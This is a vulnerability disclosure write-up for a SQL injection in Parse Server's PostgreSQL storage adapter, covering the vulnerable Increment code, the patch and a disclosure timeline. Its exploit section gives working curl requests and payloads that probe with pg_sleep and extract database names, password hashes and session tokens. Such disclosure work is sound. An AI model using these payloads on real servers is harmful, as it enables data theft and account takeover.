TL;DR — Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads — has a critical SQL injection in its PostgreSQL storage adapter. When you use the Increment operation on a nested object field with dot notation (like stats.counter), the amount value gets interpolated directly into the SQL query. No parameterization. No type check. An attacker who can send write requests can inject arbitrary SQL subqueries, read any data in the database, and completely bypass Class-Level Permissions and ACLs. CVSS 9.3. Assigned CVE-2026-31856. MongoDB deployments are not affected.

why this matters

Parse Server is one of the most widely deployed open-source backend frameworks in existence. Originally built at Facebook, open-sourced in 2016, and relied upon by thousands of production applications. It supports both MongoDB and PostgreSQL as storage backends. And if you chose PostgreSQL — which many production deployments do for its relational guarantees — you've been sitting on an unparameterized SQL interpolation in a core write path.

The particularly nasty thing about this one is the attack surface. The Increment operation is a fundamental Parse primitive. It's used everywhere: analytics counters, vote tallies, inventory tracking, game scores. And the dot-notation syntax for nested fields is how Parse handles structured data. So the vulnerable code path isn't some obscure edge case — it's the intersection of two commonly-used features.

the root cause

The vulnerability lives in PostgresStorageAdapter.js, inside the code that handles object updates. When Parse Server encounters an Increment operation on a nested field (one containing a dot, like stats.counter), it needs to generate SQL that updates a JSONB column. Here's what the vulnerable code looked like:

keysToIncrement
  .map(c => {
    const amount = fieldValue[c].amount;
    return `CONCAT('{"${c}":', COALESCE($${index}:name->>'${c}','0')::int + ${amount}, '}')::jsonb`;
  })
  .join(' || ');

See it? That ${amount} at the end. It's template-literal interpolation, dropped straight into the SQL string. No $N parameter placeholder. No typeof check. Nothing.

The amount value comes from the client's request body. In a legitimate request, it's a number. But the code never verifies that. If you send a string instead — say, a SQL subquery — it gets concatenated directly into the query that hits PostgreSQL.

The generated SQL ends up looking something like this for a legitimate request:

UPDATE "IncrTest"
SET "stats" = (
  COALESCE("stats", '{}'::jsonb)
  || CONCAT('{"counter":', COALESCE("stats"->>'counter','0')::int + 5, '}')::jsonb
  || $2::jsonb
)
WHERE "objectId" = $1

That + 5 is the amount. Unparameterized. Now imagine what happens when the amount is a string containing SQL.

the exploit

The attack is straightforward. You send a standard Parse REST API update request with an Increment operation on a nested field, but instead of a number for amount, you provide a string containing a SQL subquery.

step 1: set up the target object

First, create an object with a nested field. This is just normal Parse usage:

# Create an object with a nested stats field
curl -s -X POST "http://localhost:1337/parse/classes/IncrTest" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{"stats": {"counter": 0}}'
# Returns: {"objectId":"abc123",...}

step 2: time-based detection with pg_sleep

Before going for data exfiltration, confirm the injection works with a time-based probe:

# Inject pg_sleep(3) — if vulnerable, the response takes 3+ seconds
curl -s -w "\nTime: %{time_total}s\n" -X PUT \
  "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "stats.counter": {
      "__op": "Increment",
      "amount": "0+(SELECT 1 FROM pg_sleep(3))"
    }
  }'
# If vulnerable: Time: 3.xxx seconds
# If patched:   400 Bad Request, near-instant

The injected SQL becomes:

COALESCE("stats"->>'counter','0')::int + 0+(SELECT 1 FROM pg_sleep(3))

PostgreSQL parses the + as arithmetic addition, evaluates the subquery, and the query blocks for 3 seconds. If your response takes over 3 seconds, you've confirmed the injection.

step 3: data exfiltration

Now the real damage. Extract data character by character using ascii(substr(...)):

# Extract the first character of the database name as its ASCII value
curl -s -X PUT "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "stats.counter": {
      "__op": "Increment",
      "amount": "0+(SELECT ascii(substr(current_database(),1,1)))"
    }
  }'

# Now read back the object
curl -s "http://localhost:1337/parse/classes/IncrTest/abc123" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY"
# Returns: {"stats":{"counter":112},...}
# ASCII 112 = 'p' (for "parse" database)

The subquery executes, returns an integer (the ASCII value of the first character), and that integer gets added to the counter. Read the counter back, subtract the original value, and you have the exfiltrated character. Repeat for every character. Automate it with a script.

This isn't limited to current_database(). You can query anything:

# Read from _User table — bypass all CLPs and ACLs
"amount": "0+(SELECT ascii(substr((SELECT \"password\" FROM \"_User\" LIMIT 1),1,1)))"

# Read session tokens
"amount": "0+(SELECT ascii(substr((SELECT \"_session_token\" FROM \"_Session\" LIMIT 1),1,1)))"

# Enumerate table names
"amount": "0+(SELECT ascii(substr((SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1)))"

The attacker reads the entire database one character at a time. Slow, but completely reliable. And easily parallelizable — create multiple objects, run extractions concurrently.

impact

This is a full database read via SQL injection, achievable by any client that can send write requests to the Parse REST API:

AttackImpactRequirements
Data exfiltrationRead any column from any table in the PostgreSQL database, character by characterWrite access to any class with an object containing a nested field
CLP bypassClass-Level Permissions are irrelevant — the injection happens inside the storage adapter, below the CLP enforcement layerSame
ACL bypassObject-level ACLs are irrelevant for the same reasonSame
Session token theftExtract session tokens from _Session table, impersonate any userSame
Password hash extractionRead bcrypt hashes from _User table for offline crackingSame

The CVSS v4 score is 9.3/10 (Critical). Attack complexity is low. No user interaction required. The REST API key — which is typically embedded in client-side code — is sufficient. There is no workaround short of patching.

I want to be honest about one thing: I haven't confirmed whether the injection can be escalated to write operations (INSERT, UPDATE, DELETE) or command execution via PostgreSQL extensions like COPY or lo_export. The context is an arithmetic expression inside an UPDATE statement, which limits the SQL grammar available. But the read alone is devastating enough to warrant the critical rating.

the fix

The patch in c92022f does two things. First, it adds a type check to reject non-number values. Second — and this is the important one — it parameterizes the amount value:

keysToIncrement
  .map(c => {
    const amount = fieldValue[c].amount;
    if (typeof amount !== 'number') {
      throw new Parse.Error(
        Parse.Error.INVALID_JSON,
        'incrementing must provide a number'
      );
    }
    incrementValues.push(amount);
    const amountIndex = index + incrementValues.length;
    return `CONCAT('{"${c}":', COALESCE($${index}:name->>'${c}','0')::int + $${amountIndex}, '}')::jsonb`;
  })
  .join(' || ');

The ${amount} is gone. Replaced by $${amountIndex} — a proper parameterized placeholder. The actual value gets pushed into the values array and sent to PostgreSQL's parameterized query interface, where the database driver handles escaping. Even if someone bypasses the type check somehow, the parameterization prevents injection.

The patch also adjusts the index arithmetic for the delete patterns and the final update object to account for the new increment value parameters in the values array. A small but necessary bookkeeping change that would have been easy to get wrong.

Patched versions:

If you run Parse Server on PostgreSQL, patch immediately.

the broader pattern

This is the third SQL injection I've seen in Parse Server's PostgreSQL adapter in recent memory (after GHSA-6927-3vr9-fxf2 and GHSA-c2hr-cqg6-8j6r). The pattern is always the same: a value that should be parameterized gets interpolated into a SQL string because the code assumed it would always be a certain type.

The PostgreSQL adapter in Parse Server builds SQL queries by string concatenation with template literals. It uses pg's parameterized query support in most places, but the code is complex — hundreds of lines of conditional SQL generation with index arithmetic for parameter placeholders. Every time a new code path is added, or an existing one handles a new case (like nested field increments), there's an opportunity to forget the $N placeholder and just drop the value in directly.

The deeper issue is that JavaScript's type system doesn't help here. The amount field arrives from parsed JSON. In a language with static types, you'd catch the string-where-number-expected at the boundary. In JavaScript, it flows through silently until it hits the SQL string and becomes an injection vector. The fix adds a manual typeof check, but that's a defense you have to remember to add every time. It would be worth considering a systematic approach — a validation layer at the adapter boundary that enforces types on all incoming operation parameters before they reach the query builder.

MongoDB deployments dodged this one entirely. MongoDB's query language doesn't have the same string-concatenation-to-query-language problem. But if your Parse Server talks to PostgreSQL, every one of these adapter-level injections applies to you.

disclosure timeline

DateEvent
Mar 9, 2026Vulnerability reported responsibly to parse-community via GitHub Security Advisory
Mar 9, 2026Maintainer confirmed and developed fix
Mar 10, 2026CVE-2026-31856 assigned by GitHub. CVSS 9.3 (Critical).
Mar 10, 2026Patched versions released (9.6.0-alpha.3, 8.6.29)

Fast response from the maintainers — confirmed, fixed, and shipped in under 24 hours. Credit to mtrezza for coordinating the fix.

This vulnerability was reported through responsible disclosure to the parse-community security team.